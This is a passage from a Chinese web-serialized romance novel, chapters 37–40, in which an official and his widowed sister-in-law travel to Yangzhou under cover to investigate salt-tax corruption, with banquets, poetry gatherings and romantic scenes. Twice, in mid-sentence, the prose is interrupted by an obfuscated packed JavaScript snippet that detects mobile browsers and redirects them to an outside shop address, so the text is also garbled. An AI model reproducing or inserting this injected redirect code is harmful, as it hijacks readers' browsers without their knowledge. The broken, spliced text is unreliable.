两人一前一后走下楼梯,穿过寂静的庭院。月光将他们的影子拉长,时而交叠,时而分离,如纠缠的藤蔓,分不开,理还乱。 一路无话,却有某种温默的暖意,随风萦绕在彼此之间,无声胜有声。 送至她所居的院门外,郑淮序驻足:“早些歇息。” 李妙仪点点头,转身进门前,忍不住回头看了一眼。 他仍立在原处,身影融在溶溶月色里,静静目送着她。 37. 潜龙 宫宴后第三日,兵部值房烛火通明。郑淮序端坐案前,朱笔悬停,目光落于摊开的文书,深邃如夜。 值房内尚有几位主事、员外郎散坐各处,或埋头誊录,或低声商议,纸张翻动声与压抑的咳嗽声此起彼伏。 郑淮序看似专注,余光却始终锁着斜对面的赵员外郎。此人与盐课司郎中是同科进士,私交甚笃,更是某位阁老的门生。 时机将至。 他缓缓搁笔,拿起刚拟好的文书,扬声唤来书吏:“将此文誊正,用印后速送盐课司。” 书吏恭敬接过,正要退出,郑淮序又似随意地补充:“告知盐课司,此为协查周主事一案所需,扬州盐场近十年原始账册,须三日内备齐待调。” 声音不高不低,恰让满室听清。 “近十年原始账册?”书吏有些迟疑,“大人,盐课司那边怕是……” “按令行事。”郑淮序语气平淡,却不容置疑。 “是。”书吏躬身退下。 郑淮序重新执笔,仿佛方才只是寻常公务。但他能感到,斜对面赵员外郎笔锋微顿,继而如常,唯低垂的眼帘下掠过一丝异色。 一切如预想般进行。 文书措辞严谨,理由充分:协查吏部考功司周主事贪渎案,需调盐课账册核实相关盐引批文。任谁亦挑不出错。可正是这“无错”,才最令人不安。 翌日朝会,御史台弹劾果然如疾风骤雨。 三位御史联名劾郑淮序“借故滋扰盐课,假公济私,其心叵测”。 奏章千言,列罪三条:其一,越权行事,兵部何故插手吏部案、调阅盐课核心账册;其二,动机可疑,周案将结,此时深究盐课实为借题发挥;其三,最诛心者,暗讽其兄新丧未久,便急涉盐政,恐存不臣之念,欲培植势力。 朝堂之上,文武百官垂首而立,无人敢出声。仁宣帝则端坐龙椅,面色沉静如水,看不出喜怒。 郑淮序出列跪于殿中,未作辩解。 “郑爱卿。”帝王的声音终于响起,“御史所奏,你有何话说?” “臣无话可说,”郑淮序叩首,“调阅账册确为臣请,臣甘领罪责。” 如此干脆认罪,反令欲落井下石者措手不及。 仁宣帝凝视他片刻,缓缓道:“既如此,朕便罚你俸禄半年,即日起闭门思过,无诏不得参与部务。你可服气?” “臣领旨谢恩。” 旨意传出,朝野震动。有人扼腕叹息,说郑家二郎年少气盛,锋芒太露;有人暗自窃喜,盐课这潭深水果然蹚不得;更有人揣测这风波背后,究竟藏着几方博弈。 郑淮序当日卸职回府,闭门谢客,俨然思过之态。 然而无人知晓,当夜戌时三刻,一名内侍叩响了国公府侧门,将一道密旨递入书房。 烛火下,郑淮序缓缓展开密旨。 御笔朱砂,字迹凌厉:“着尔以巡视江南之名,暗查盐引积弊。许尔便宜行事之权,务必详查实证,慎密行事。钦此。” 旨意末端,并非惯常的玺印,而是一方鲜为人知的私章。那是仁宣帝为亲王时一位谋士所刻,寓意“潜龙勿用,见机而行”。 他凝视那方朱印良久,方才将密旨卷起,藏入特制的竹筒,置于书架暗格之内。 几乎同时,书房外传来轻叩声。国公爷郑崇璟、国公夫人,以及李妙仪相继而至。 冰盆里的冰块已融化大半,水滴落入铜盆,发出单调而清晰的滴答声,在寂静的房间里格外清晰。 郑淮序简略说明了密旨内容。 郑崇璟面容肃穆:“陛下表面斥责,实则以退为进,行的是障眼法。”他眼中忧虑深重,“盐政牵涉之广,利益之深,远超寻常贪渎。扬州更是虎狼盘踞之穴,你此去凶险万分。” “正因凶险,才需一个不易引人猜疑的名义南下。”郑淮序转向李妙仪,“儿子有一计:可对外宣称,因长兄新丧,嫂嫂思念成疾,需出京游历散心、访寺祈福。我奉父母之命,护送嫂嫂南下。如此,女眷仆从分批随行,亦不惹眼。” 国公夫人手中捻珠一顿:“令言毕竟是寡居之身,长途跋涉,且去的是那等复杂之地……” “母亲,”李妙仪抬眼,“儿媳愿往。” “此行既为府中分忧、替二郎遮掩,亦是儿媳的一点私心。”她目光望向虚空,“世子曾守护这片江山。如今,儿媳也想尽一份力,亲眼看看那些蛀蚀根基的蠹虫,究竟是何模样。” 她看向郑淮序,继续道:“况且,儿媳深居内宅,有些场合,或许比二郎更易探听消息。内外相辅,或能事半功倍。” 郑崇璟凝视她片刻,长叹一声:“既如此,须周密安排,不容疏漏。对外只言令言南下调养,伯章护送。护卫仆役分批南下,通信皆用暗语密道。” 他拍了拍郑淮序的肩:“伯章,密旨非万不得已,绝不可示人。江南官场盘根错节,敌友难辨。纵是圣旨,有时亦不抵地头蛇之算、真刀真枪。你须谨记。” “儿子明白。” 计议既定,国公府悄然转向,为一场暗藏雷霆的远航准备。 此后数日,郑淮序因“闭门思过”,反更频繁密地秘密外出,与李妙仪碰面的时候寥寥无几。 七日后,李妙仪正在花厅核对账册,忽闻前院传来一阵急促的脚步声。 “少夫人,”郑淮序身边的长随郑平立在厅外廊下,“二公子请您即刻去书房一趟,有要事相商。” 李妙仪心下一紧,合上账册,对身旁的丫鬟吩咐了几句,便随他而去。 书房门虚掩着,郑平在门外止步:“二公子在里面等您。” 李妙仪推门而入。 书房内虽置了冰盆,但空气仍有些滞闷。郑淮序立于紫檀案后,案上摊着新旧不一的账册,另有几封拆开的密函。 他眼下有淡淡的青影,显然已多时未得安寝。 “你来了。”他抬头示意,“坐。” 李妙仪在他对面落座,扫过案上文书:“何事这般紧急?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我明白。”李妙仪打断他,眸光清亮无惧,“自决定那日起,我便明白其中风险。郑淮序,我不是需你时时庇护的弱女子。” 郑淮序怔然,深视良久。烛光在她脸上跃动,勾勒坚毅轮廓,那双常笼轻愁的眸子此刻亮得惊人。 半晌,他喉结微动,声低而哑:“好。” 他低头整理文书:“三日后子夜,侧门会有马车等候。婢女我以为你安排妥当,行李务必精简。我们趁夜离京,具体路线与接应,途中再细说。” 李妙仪颔首起身,忽又回望:“宫宴那夜,你说等此事了结,有话要对我说。” 书房寂寂,唯烛芯轻响。 “是。”他与她目光相接,“所以,你必须平安回来。我也一定会让你平安回来。” 李妙仪未再问,深深看他一眼,转身离去。 郑淮序独立于案前,望向她消失的方向,良久未动。窗外暮色渐沉,蝉鸣已歇,倦鸟归啼。他缓缓收拢案上的文书密函,动作一丝不苟,眸光沉冷如渊。 山雨欲来,风已满楼。 38. 南下 南下那日,李妙仪与郑淮序安排的一位会武的侍女同乘。侍女名唤青梧,眉目清秀,身手利落,话不多却心细如发。 行在官道上,车马虽颠簸,尚可忍受。青梧在车内铺了了厚软垫褥,又备了清茶与果点,李妙仪还能倚窗看看沿途风景,倒也安然。 郑淮序骑马在前,偶尔勒缰缓至车畔,隔着帘问一声“可还好”,待她轻轻应了,才又策马向前去。 然而越是往南,道路愈发崎岖。雨季将至未至,空气闷热潮湿,压得人几乎透不过气。李妙仪渐渐不适起来,先是隐隐头晕,而后发展成强烈的眩晕与恶心。 她食不下咽,面色一日比一日苍白,浑身仿佛被抽去力气,软软倚在车壁上,连说话的力气都无。 青梧想尽了办法:以薄荷油轻揉她太阳穴,备上酸梅含片,又换了更清淡的饮食,却都收效甚微。 郑淮序很快察觉异常。 午后歇息时,他勒马停在车前,便听见里头传来干呕声。青梧正掀帘出来倒水,见他立在车旁,面色凝重。 “少夫人如何?” 青梧摇头道:“晕得厉害,晨起用的半碗粥都吐干净了。” 郑淮序转身吩咐了护卫几句,不到半个时辰,几种不同的晕车药丸、清爽的梅脯果干便送进了车里。他将药递给青梧,隔帘温声道:“若还是难受,我们便走慢些。” 此后行程果然放缓,郑淮序命人尽量择平坦路线,增加休整次数。 药丸服下,略有些用,却终究除不了病根。李妙仪恨自己这副身子不争气,却也无可奈何。 进入江南地界后,改走水路。 画舫是郑淮序早先备下的,外观朴素,舱内却布置得周全舒适。船行在烟波浩渺的河面上,两岸黛山如眉,水乡景致如诗如画。 若在平日,李妙仪定会凭栏赏景,可如今她只能趴在船舱窗边,对着河水干呕,头晕目眩,感觉五脏六腑都移了位。 郑淮序进舱来看她时,她正伏在榻边,青丝散乱,额上沁着虚汗。 “这样下去不成。”他皱眉,转头对青梧道,“去请船上的嬷嬷来,问问可有什么治晕船的方子。” 老嬷嬷来后,说了几个土方:以生姜片贴内关穴,闻橘皮清香,又教了套舒缓呼吸的法子。 郑淮序一一记下,取来生姜,切成薄片,而后执起她的手腕,将姜片贴在她腕间穴位上,又以细布条固定。 李妙仪虚弱地抬眼,见他垂眸专注,“我自己来就好。” “别动。”他又剥了个橘子,将橘皮放在她枕畔。 夜里风大,船身颠簸得厉害。李妙仪晕得无法合眼,只觉得天旋地转。 约莫子时,舱门轻响,郑淮序端着一碗清粥走了进来:“多少用一些,空腹更易晕。” 他扶她坐起,在她身后垫好软枕,竟舀起一勺,要亲自喂她。 李妙仪怔住,半晌才启唇,咽下一口温热的粥。粥里加了山药,熬得绵软,入胃后那股翻腾感确实缓和了些。 一碗粥慢慢见底,他在榻边的椅上坐下:“睡吧,我在这儿守着。若再难受,便叫我。” 李妙仪想说什么,终究只是道:“多谢。” 那一夜,他真就在椅中坐了一宿。她时睡时醒,每次睁眼,都见他静静坐在昏黄的灯影里,或闭目养神,或望着窗外流淌的河水。 此后几日,郑淮序夜里总来她舱中照料。有时是送药,有时陪她说几句闲话,好教她分心,李妙仪也渐渐习惯了这份陪伴。 船上皆是心腹之人,见此情形亦无人妄议,只当是二郎体恤嫂嫂病体,尽心看顾。 一夜风平浪静,江心月明。她晕眩稍减,便靠坐在窗边,望着水中碎裂又弥合的月影出神。 郑淮序推门进来,见她神色安宁,便在窗畔另一侧轻轻坐下。 “还有两日便到扬州了。” “终于要到了。”她低声一叹,“这一路,真是狼狈得很。” “你已足够坚韧。”他望过来,目光在月色映照下显得温润,“若是寻常女子受这般苦楚,恐怕早已支撑不住。” 李妙仪苦笑:“哭闹有何用?既决定要来,这些苦便是该受的。” 静默片刻,他又道:“前路凶险,或许日后你会怨我将你带入这风波之中。” “我不会。”她答得坚定。 四目相对,月光如水,悄然浸满这一方小小的船舱。船身轻摇,橹声咿呀,时光仿佛也随之慢了下来。 数日后,画舫抵达扬州码头。 钦差行辕早已备妥,是座临水而筑的雅致园林,名“漱玉园”。园内亭台参差,假山池沼相映,花木扶疏,确是个雅致所在。 李妙仪脚步虚浮地踏进安排给她的“听雨轩”,恍如隔世。轩外正临一池碧水,窗前数竿修竹随风轻曳,清幽宜人。 青梧扶她在软榻上歇下,便忙着收拾行李,布置房间。 待沐浴更衣罢,李妙仪对镜自照。镜中人清减了不少,下颌尖了,眼窝也深了些,唯独那双眸子,因一路颠簸与心绪沉淀,反而显得更加清亮沉静。 她在园中静养了三日,晕船的症状才渐渐消退。期间郑淮序来看过她两回,皆是来去匆匆。扬州官员闻讯前来拜会的络绎不绝,他需得周旋应付。 第四日午后,郑淮序踏进了听雨轩。 他今日身着靛蓝色锦袍,以玉冠束发,比在京时多了几分随性,却依旧气度不凡。李妙仪正倚在窗下看书,见他来了,放下书卷起身。 “可大好了?”他问道,目光在她脸上停留片刻。 “好多了,”她微微一笑,“再躺下去,身子骨该散了。” 郑淮序在对面坐下,自行斟了杯茶:“明日扬州太守设宴,邀你我过府一叙。” 李妙仪神色一凝:“终于来了。” “太守王延年,出身琅琊王氏旁支,在扬州任职已有六年,此人表面圆融,实则精明。宴无好宴,你我需谨慎应对。” “我该做什么?” 郑淮序略作沉吟:“你只需以国公府少夫人的身份出席,言行端庄即可。若有人与你攀谈,可顺势提及因丧夫之痛、出京散心之意。其余的交给我。” 他稍顿,又补充道:“王延年膝下有一子,名唤王昀,年约二十五,是个常在文人雅集间行走的风流才子。若他主动与你交谈,不必刻意回避,但须把握好分寸。” 李妙仪点头:“我明白。” 翌日黄昏,太守府的马车候在了漱玉园外。 宴会设在府中临水的“澄澜阁”。阁高三层,四面轩窗洞开,满园风光尽收眼底。此时华灯初上,丝竹声声,已有不少宾客到场。 李妙仪今日穿了身月白云纹罗裙,发髻轻绾,只簪一支素白玉簪,素净典雅。她与郑淮序一同入阁时,顷刻便引来席间诸多目光。 王延年亲自迎上前,他年约四十,面白微须,未语先笑:“郑大人、少夫人莅临,实在令寒舍生辉!” 郑淮序拱手笑道:“王太守盛情,在下却之不恭。” 二人寒暄之际,李妙仪立于郑淮序身侧,眼帘微垂。她能察觉到那些投来的视线,审视的、好奇的、亦不乏艳羡的,她只作不知。 落座后,佳肴美酒陆续呈上。席间有舞姬翩跹助兴,身姿曼转,眼波流动。 王延年频频举杯,话语间不乏试探之意。 郑淮序却是一派 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此后宴席继续,蝶衣却再未近郑淮序的身。李妙仪起身离席,独自走到阁外的廊下。 月色澄明,暗香随夜风浮动。她凭栏而立,深深吸了口气,试图平复心绪。 “少夫人也出来透气?” 一道温润的男声自身后响起。 李妙仪回身,见一位锦衣公子立在几步外,年约二十五六,眉眼与王延年有几分相似,气质却更显文雅。 “在下王昀,家父正是王太守。”他拱手施礼,“见少夫人独在此处,可是席间喧闹,扰了清净?” 李妙仪欠身还礼:“原来是王公子,不过觉得有些闷热,出来走走罢了。” 王昀走到她身侧:“少夫人从盛京远道而来,可还习惯扬州气候?” “尚在适应,江南湿热,与北方干爽确是不同。” “是啊,”王昀语气温和,“听闻少夫人是为散心南下?扬州虽不及盛京繁华,却也别有韵味。若少夫人不嫌弃,在下可引荐几处清幽之地,宜于养心,亦宜于观景。” 李妙仪心中微动,面上却仍是一派柔弱哀愁:“多谢公子美意。只是亡夫新丧,实无游赏之心。此番离京,也不过是想换一处天地,稍解胸中郁结罢了。” 她低眉,眼中适时泛起一点朦胧水光,执帕轻触眼角。 王昀果然面露怜色:“是在下失言,勾起了少夫人伤心事,还望勿怪。” “无妨。”李妙仪摇头,转而问道,“听闻公子雅好诗文,常邀聚文士、主持风雅?这般清趣,着实令人羡慕。” 王昀笑道:“不过是随性之举,附庸风雅罢了。扬州文风鼎盛,每月皆有诗会茶集。少夫人若有清兴,改日不妨移步一观。” 两人又闲谈片刻,李妙仪言语间似对扬州风物颇有兴致。 王昀愈发温和体贴,不知不觉间,便提及扬州文人圈中不少逸事,甚至偶然带出几位与盐商往来颇密的名士。 说话时,他的身子不自觉地靠近了些。 李妙仪面上未改那副荏苒之态,不着痕迹地略退半步,维持着合宜的距离。 阁内,郑淮序正与王延年推杯换盏,眼风却不时落向轩窗之外,看着王昀与李妙仪并肩立于月下,言谈甚欢。 王延年顺着他的目光望去,捋须笑道:“犬子失礼,怕是搅扰少夫人清静了。” 郑淮序收回视线,唇角仍挂着得体的笑意,语气温煦如常:“令郎温文尔雅,能与家嫂品月闲谈,亦是一段清雅之事。” 话落,他仰首饮尽杯中酒。 那只握着酒杯的手,骨节分明,此刻却一寸寸收紧,泛白的指骨几乎要嵌进瓷壁。 39. 饵料 宴散时,王延年亲自送二人至府门外,殷殷相邀,望日后常聚。马车驶离太守府,渐渐没入扬州城的夜色中。 车内,李妙仪一上车便坐到了离郑淮序最远的角落。 他身上沾染的脂粉香气,甜腻浓馥,是席间歌舞美人留下的。那气息萦绕而来,让她本已平复的胸腹间又隐隐泛起不适。 “坐那么远做什么?”他眉梢微挑。 “脂粉气太重。”她直言不讳,侧头看向窗外。 郑淮序几乎气笑,他今日在席间虚与周旋,与那些官员推杯换盏,又见她与王昀月下谈笑,心中本就憋着股无名火。此刻见她这般嫌弃,那股火更是压不住。 他忽然倾身向前,一把扣住她的手腕,将她整个人拽了过来。 李妙仪来不及惊呼,已然跌坐在他腿上,腰身被他另一只手臂紧紧箍住。 “你——”她双手抵在他胸前,挣扎着要起身。 他却纹丝不动,反而收紧了手臂。继而将脸埋入她颈窝,像只闹别扭的大犬般胡乱蹭着,挺直的鼻梁擦过她颈侧细腻的肌肤,温热的呼吸一下下洒在她的锁骨上。 “郑淮序!你疯了不成!”她又羞又恼,推着他的肩。 “不是嫌脂粉味重?”他抬起头,眼中映着一点得逞般的光,“那便让你也沾上,看你还躲不躲。” 李妙仪气结,攥拳捶他。他也不躲,任由那不痛不痒的几下落在肩上,反而低低笑出声来,那笑意在胸腔里震动,隔着贴紧的身体传过来,酥酥麻麻的。 一番挣动,她鬓边散下几缕青丝,脸颊绯红,衣襟也在挣动间微微敞开些许,露出一小截莹白的锁骨。车厢里光线昏昧,只有街灯透过纱帘偶尔漏进一丝光,明明灭灭地落在她脸上,竟有种惊心动魄的潋滟。 郑淮序忽然静了下来。 他凝视她片刻,一寸一寸,像是要用视线将她描摹一遍。 李妙仪被他看得心头发烫,偏过头去:“看什么……” 他倾身靠近,温热的唇落在她额上,轻得像一片羽毛拂过。 李妙仪蓦然怔住,心跳乱得一塌糊涂,忘了挣扎。 “今日委屈你了,与王昀周旋,并非你所愿。” 李妙仪这才恍然,他方才那番举动,是在发泄心中不快,亦是在用他自己的方式表达歉意。 她心下一软,轻声道:“我知你在席间也不易,那些美人,你也是不得已。” 郑淮序将她搂得更紧了些,下颌抵着她的发顶:“王昀此人,你怎么看?” “表面温文尔雅,实则心思细腻。他对我确有几分怜惜,但更多的仍是试探。”李妙仪冷静分析,“他提及的几位与盐商交往密切的文士,或许是个突破口。盐商好附庸风雅,常以资助诗文雅集为名,与官员文人往来。若能从此处入手,或可查到些蛛丝马迹。” 郑淮序颔首,目带赞许:“与我所想一致,王延年老奸巨猾,难露破绽。但其子王昀,年少气盛,又热衷交游,或许反是入口。” 他语气转为肃然:“但你须当心,王昀对你的留意,恐怕不止于试探。此人风流声名在外,你莫要予他可乘之机。” “我自有分寸。”李妙仪停顿一瞬,终是问出口,“倒是你,今日与那蝶衣……” “逢场作戏罢了。”他截住她的话,目光灼灼地看进她眼里,“你介意?” 李妙仪偏过脸去:“我有什么可介意的。” 只是耳根却无声无息地晕开一抹薄红。 郑淮序不再迫问,只将手臂收得更紧了些。 马车在青石板路上辘辘前行,窗外掠过扬州城的万家灯火。车内两人相拥而坐,一时无言,却有种难得的安宁。 回到漱玉园时,将近亥时。 郑淮序将李妙仪送至听雨轩外,正欲告辞,却见青梧急步自内迎出,神色间带着罕见的凝重。 “公子,少夫人,”她递上一封素笺,“方才有人暗中送来此信,未留名姓。” 郑淮序接过,就着檐下灯笼的光拆开。纸上只有一行瘦劲的字: “三日后戌时,瘦西湖明月楼,有君欲见之人。” 信末,一枚小小的盐引印记朱砂勾勒,静静压在那儿。 两人对视一眼,心中皆是一凛。 ——蛰伏多时的鱼儿,终于要浮出水面了。 王昀的拜帖在两日后送抵漱玉园。 描金笺纸上,字迹俊逸风流,邀李妙仪三日后赴“流觞雅集”,地点设在瘦西湖畔的“停云水榭”。随帖附了一枝风干的琼花,旁书小字:“扬州市井无所有,聊赠一枝春。” 李妙仪拈起那枯而不萎的花枝,指尖在花瓣上轻轻抚过。 青梧在一旁研墨,见她凝神不语,问道:“少夫人可要赴约?” “自然要去。”李妙仪将花枝搁在案上,提笔蘸墨,“王昀是条线索,他既主动相邀,可见那日宴上给他留的印象尚可,这是接近扬州文人圈的好机会。” 她写回帖时字迹端庄秀雅,既不过分热络,也不至疏冷,只言“承蒙相邀,敢不从命”,并随信附上一枚茉莉香饼作为回礼。 这本是闺阁女子往来的常礼,用于男子须格外慎重,但恰是这份矜持含蓄,反而更易牵动王昀这般自命风雅之人的心绪。 青梧将回帖送出后,李妙仪便开始准备。她命人寻来近期的《扬州文钞》,细读其中诗文,又让青梧打听此次雅集可能出席的人物。 两日下来,她对扬州文坛的派系、名家喜好已心中有数。 第三日清晨,细雨如酥。 李妙仪择了一身天水碧素罗裙,外罩月白薄纱褙子,青丝绾作简约髻,簪一支青玉步摇,耳垂明珠,腕笼羊脂玉镯。妆容极淡,唯唇上浅晕胭脂,衬得人莹润如玉。 行至二门,郑淮序已候在那里。他今日身着竹青直裰,玉冠束发,倒添了几分文人清气。 他扶她登上马车,细雨沾湿了他的肩袖,却浑然不觉:“青梧会一直随在你身侧,若有异样,即刻抽身。” “你也务必当心。”她望着他,“盐商耳目遍布,你今日要去见的人……” 他微微一笑,目光温沉:“放心。” 出了漱玉园,穿过扬州城的青石巷陌,雨中的江南别具韵味,烟雨空濛,白墙黛瓦,宛如一幅洇开的水墨长卷。 马车在瘦西湖畔徐徐停驻,此时榭中已聚了不少文人墨客,或吟哦联句,或抚琴清谈,丝竹与笑语隐隐相和。 李妙仪下车,由青梧执伞相伴,缓步朝水榭行去。 王昀早已候在门前。见她身影渐近,眼中闪过惊艳之色,当即快步迎上:“少夫人冒雨光临,王某荣幸之至。” “王公子言重了。”李妙仪欠身还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235612|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼,“能蒙雅集相邀,是小女子的福分。” 王昀含笑引她入内,水榭中约有二十余人,多为青年文士,亦有几位鬓发斑白的老者。见王昀携一位气度不凡的女子进来,众人目光皆聚了过来。 “诸位,这位是盛京郑国公府的少夫人,崔令言。”王昀朗声介绍,“少夫人素娴诗文,今特来与我等同席共雅。” 榭内静了一瞬,郑国公府的名望,纵在江南亦如雷贯耳。 忽有人低声讶道:“莫非便是那位‘盛京第一才女’?” 话音虽轻,却在静寂中格外清晰。 李妙仪垂眸敛袖,作势羞赧,心中却明镜似的。这定是王昀事先安排,要为她造势。 一位须发如雪的老者抚髯而笑:“早就听闻崔娘子才名,今日一见,果然风仪不俗。老朽沈括,虚长几岁,在此主理文会。崔娘子,请上座。” 李妙仪认得这沈括,是扬州文坛耆宿,门生故旧遍布江南。 她恭谨行礼:“沈老先生雅望,久仰大名。晚辈才疏学浅,今日特来聆教,还望先生不吝指点。” 落座后,诗会正式开始。按惯例,先以“雨”为咏,限韵成篇。席间众人各骋才思,佳句迭出。 轮到李妙仪时,她略一沉吟,提笔落纸: “帘外潺潺雨,江南四月天。 烟波迷客路,花气湿琴弦。 旧事随流水,新愁化暮烟。 故园何处是?魂梦已数年。” 诗成,满座皆静。 沈括抚掌轻叹:“好一句‘魂梦已数年’!崔娘子才情心境,俱在此中矣。” 王昀眼中钦慕愈深,亲自为她斟茶:“少夫人此作,情真意切,字字入心。昀自愧不如。” 李妙仪谦道:“随手涂写,让诸位方家见笑了。” 自此,诗会气氛愈加热络。其后行令联句、即兴作赋,李妙仪皆从容应对,言谈间展露不凡学识与机敏。尤其那一手簪花小楷,秀逸流转,连几位老成文人亦颔首称许。 午间歇息时,王昀引她至水榭外廊观雨。 “少夫人今日一展才情,不出明日,必传遍扬州文苑。”王昀含笑而言,话锋轻转,“只是观诗中之意,少夫人似仍深陷往事,未能释怀?” 李妙仪望向迷蒙湖色,轻声一叹:“有些痕迹,不是时间能抚平的。” 她转眸看他,眼中恰时浮起薄薄水光:“倒教公子见笑了。” “岂敢。”王昀忙道,“少夫人至情至性,昀唯有敬重。只是人生倥偬,少夫人芳华正好,也该为自己着想。若长久沉湎伤逝,恐损心神。” 这话已有些逾矩。李妙仪心中冷笑,面上却仍笼着淡愁:“多谢公子关怀,然似我这般身份,又能如何?” 她话语微顿,似不经意提起:“今日见诸位雅士挥毫唱和,倒想起昔年在京中,也曾随长辈赴过几回文会。彼时世子尚在,常与同僚煮酒论诗,何等洒然。而今……” 她以帕拭泪,余音悄寂。 王昀果然面露怜色,温声劝慰:“少夫人若爱此清趣,往后扬州但凡有雅集,昀必当奉帖相邀。若蒙不弃,昀亦可引荐二三知交,平日诗文往来,或可稍解寂寥。” “如此,便先行谢过公子了。”李妙仪抬眸莞尔,那笑意如雨中新昙,倏忽一绽便敛,却已足够令王昀心旌摇曳,神思微漾。 40. 做戏 下半场诗会,李妙仪略放开些许,主动与席间文人交谈。 王昀一一为她引见,其中数人尤其特别,虽作儒生打扮,言谈间却不时涉及商贾之事,于盐引、漕运等门道尤为熟稔。 李妙仪心下了然,这几位多半是与盐商往来甚密的文士,或是盐商子弟故作清雅。她故作不知,仍以国公府少夫人的身份,与他们谈诗论画,间或提及府中中馈采买之事。 “说起来,府中在盛京也有几处庄子铺面,日常用度不小。”她语气似随意,“南边的丝绸、茶叶与瓷器皆是上品,只是采买转运颇为费神。若在扬州能有信得过的商行往来,倒能省去不少周折。” 一位姓张的文士闻言眸光一亮:“少夫人若需要,张某倒识得几位诚信经营的商人。旁的不敢夸口,盐茶丝绸这些,都是顶好的货。” “哦?”李妙仪流露出些许兴致,“张公子可方便引荐?” “自然,自然。”张姓文士连连应承,“巧的是,三日后明月楼有场小聚,赴会的皆是扬州商界有头脸的人物。少夫人若得闲,张某愿代为安排。” 王昀在旁附和:“张兄所言极是,明月楼的聚会,去的都是雅人,少夫人定会喜欢。” 明月楼,正是那封匿名信中提及的地点。 这巧合,未免太过刻意。 她面上不露声色,只温婉笑道:“那便有劳张公子了。” 诗会至申时方散,此时雨势转大,湖面白茫茫一片。王昀执意要送李妙仪回漱玉园,她推辞不过,只得应下。 马车内,王昀与她相对而坐。青梧坐在车夫外侧,帘半卷着,既合礼数,亦能留意车内动静。 “今日得与少夫人清谈,如沐春风。”王昀目光灼灼,“不知少夫人打算在扬州盘桓多久?” “尚未定下。”李妙仪道,“或许一月,或许更久,总要等心情平复些。” “那王某可有幸,常邀少夫人游赏扬州胜景?”王昀身子微微前倾,“瘦西湖、平山堂、个园……江南佳处,不胜枚举。少夫人既来散心,也该多走走看看。” 李妙仪垂眸:“只怕太过叨扰公子。” “何来劳烦?”王昀笑意温文,“能伴少夫人左右,是王某之幸。” 言谈间,他的手似不经意般轻轻触过她的手背。 李妙仪心下生厌,面上却只作腼腆,悄然将手收回袖中。 马车抵达漱玉园时,雨丝仍绵密未绝。王昀先行下车,撑伞扶李妙仪。他握着她的手腕,力道稍紧,指尖似有若无地在她腕间抚过。 “少夫人仔细脚下。”他语声温柔,目光却紧紧锁着她。 李妙仪正欲抽手,忽听一道熟悉的嗓音传来:“王公子?” 她抬头,见郑淮序正从另一辆马车上下来。他显是刚从外归来,衣襟半湿,神色却平静如常。 王昀一怔,松了手,含笑拱手:“郑大人也刚回府?” “去会了几位故交。”郑淮序缓步走近,目光自李妙仪面上轻轻掠过,随即落向王昀,“多谢王公子送家嫂归来。雨势未歇,不如进府喝盏热茶?” 这话说得客气,却透着明晰的逐客之意。 王昀何等通透,当即笑道:“不敢叨扰,今日诗会已耽搁少夫人多时,王某便不多留了。”他又看向李妙仪,眼中不舍清晰可见,“少夫人,改日再叙。” “公子慢走。”李妙仪欠身一礼。 目送王昀的马车驶远,郑淮序脸上的笑意渐渐淡去。他转身看向李妙仪,声音听不出情绪:“先进去。” 两人一前一后走进漱玉园。至听雨轩外,郑淮序对青梧道:“在外守着。” 青梧低声应下,退至廊下。 李妙仪随他进了屋,正想开口说今日诗会所得,却见他反手合上了门,背对着她立在门边,静了片刻。 “衣裳湿了,得换。”他忽然开口,声线比平日低了几分。 李妙仪一怔:“那我先出去……” 话未说完,他已转身走过来,扶着她的肩让她在窗边的椅子上坐下:“坐着就好。” 她尚未反应过来,他已抬手解开了腰间的系带。 李妙仪脸颊蓦然一热,别开眼去:“郑淮序,你……” “我怎么?”他语手中动作未停,外袍褪下,接着是中衣。 烛光晕染下,他的身形线条流畅有力,肩背宽阔,腰身劲瘦,背上几道浅淡的旧疤,该是早年随军历练时留下的印记。 李妙仪心跳如鼓,想起身离开,身子却像被什么钉在了椅上。她不是没见过男子身体,可眼前这人不同。 郑淮序慢条斯理地换上干净衣裳,每一个动作都刻意放缓,仿佛在展示什么。系衣带时,他俯身凑近,温热的呼吸拂过她的耳畔:“今日诗会,可还顺利?” 李妙仪强自镇定:“顺利,见到了几个可能与盐商有关的人,还得了明月楼的邀约。” “哦?”郑淮序在她身侧坐下,手臂搭在她椅背上,形成一个半环抱的姿势,“王昀待你,倒是殷勤。” “做戏而已。”她答道,目光却不敢落在他身上。 “做戏需要他碰你的手?”他语气倏地沉了下来。 李妙仪一愣,旋即明白他看见了马车旁那一幕。她转回头,直直望进他眼里:“郑淮序,你是在质问我?” “不敢。”他嘴上这么说,眼神却锐利如刀,“只是提醒你,王昀此人风流成性,对女子惯会用手段。你可别假戏真做,着了他的道。” 这话说得锋利。 李妙仪气恼,伸手推他:“我自有分寸,何须你来提醒!” 掌心抵在他胸口,隔着薄薄衣料,传来温厚坚实的触感。郑淮序忽然握住了她的手腕,将她往身前一带。 两人的呼吸顷刻交缠。 “你可知道,今日我在外与人周旋,心里翻来覆去都是你?” 她呼吸一滞。 “想着你在诗会上如何大放异彩,想着王昀如何对你殷勤备至,想着……”他的声音越来越低,最后化作一声叹息,“我真是自讨苦吃。” 话音未落,他已吻住了她的唇。 这吻来得骤然,不似上回那般轻柔试探,来势汹汹,不容闪躲。李妙仪试图挣脱,他却将手臂收得更紧,另一只手稳稳托住她的后颈,指尖陷入她散落的发丝间,迫使她承受这骤雨般的侵袭。 她心中又恼又乱,趁他辗转的间隙,在他唇上不轻不重地咬了一下。 